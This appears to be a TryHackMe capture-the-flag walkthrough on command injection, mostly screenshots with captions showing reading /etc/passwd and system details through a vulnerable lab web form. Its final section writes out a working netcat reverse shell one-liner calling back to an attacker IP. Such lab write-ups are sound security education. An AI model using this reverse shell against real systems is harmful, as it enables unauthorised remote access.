> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/walkthroughs-easy/injection.md).

# Injection

![](/files/-MeaE_26P8MCb44zUQxc)

## An introduction to Command Injection

![](/files/-MeaEeHsyHSZ3qkOJHPt)

## Blind Command Injection

![](/files/-MeaF9SVjRYR6CEzjCM4)

![](/files/-MeaFSNcnmlRFwG73Q-I)

Lets go to the webpage

![](/files/-MeaFywoswht9gUrFoKG)

![](/files/-MeaGhGE7RwZwq70jqLD)

Lets try to find the Kernel Version and redirect it to a file and then read the file

![](/files/-MeaItLmu5jwdU8MKFjy)

![](/files/-MeaJDFfzaZ30Gb0-hZh)

![](/files/-MeaJNXqZKXLOOpioKvW)

Now lets enter root and look at the response for the answer to the next question

![](/files/-MeaJhCWnznWKsi90S50)

![](/files/-MeaJkJJUaWCr2WNsmjB)

Now lets enter www-data

![](/files/-MeaJojs0xi77xXbfPe1)

![](/files/-MeaJrgDiFP2ZRySfVy7)

Lets enter our name and see what the output is

![](/files/-MeaJz3fBR0E4DHhkop8)

![](/files/-MeaK0n9AIxoHciErjqz)

## Active Command Injection

![](/files/-MeaKSp0mzxYVPLg-N1q)

![](/files/-MeaKWD3d5yy_PsfN2Yp)

Lets go to the webpage that they mention

![](/files/-MeaKd4fJA4Vg3CvaN0A)

Lets look at the files and see if there is an interesting file with the ls command

![](/files/-MeaKt6xjeeOUV4wprJ2)

There is an interesting file

![](/files/-MeaKyHng0ASNYHNdoWG)

To see how many users are there on the machine, we can read the /etc/passwd file

![](/files/-MeaLAM7MxFrGytAmfw1)

We can look at this output by going to the source code

![](/files/-MeaLK7g5QQ9jvlh0aDM)

![](/files/-MeaLVRY0p7lCdttniYf)

We can see which user the app is running as with the whoami command

![](/files/-MeaLgAuWf3NVLv5M84J)

![](/files/-MeaLjk2XRggRwnaQx26)

We can see what this user's shell is set as in the /etc/passwd file

![](/files/-MeaLzoB9RbBTchiPv3G)

![](/files/-MeaM5YheL988nkRGHK1)

We can see what version of Ubuntu is running by using the command lsb\_release -a 

![](/files/-MeaMOqE_ZC3TZtRKkCD)

![](/files/-MeaMSX_Wgx7izL1pd9I)

We can print out the MOTD with this command

![](/files/-MeaMi0njl6p9Yu4xsSc)

![](/files/-MeaMmGFwf-_Y4iomcOv)

## Get the Flag!

Lets first get a reverse shell on the machine so that we can navigate through the machine easier.

First we start a netcat listener

![](/files/-MeaNmfF9IWtYbeDDjy9)

Now we use the reverse shell command

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f
```

![](/files/-MeaNzJ3MyCN3IWeToHo)

Lets hit Submit

![](/files/-MeaO1xoNNQyM3euwW1f)

We have a shell, lets stabilize it

![](/files/-MeaOJKjH6VP-D5R4gEl)

Lets now look for the flag, it might be a txt file and maybe called flag, so lets look for that

```
find / -type f -name flag.txt 2>/dev/null
```

![](/files/-MeaOkd9doUu_kTx-QGP)

We have the flag, lets read it

![](/files/-MeaOrzaSOVlgxlwsGWB)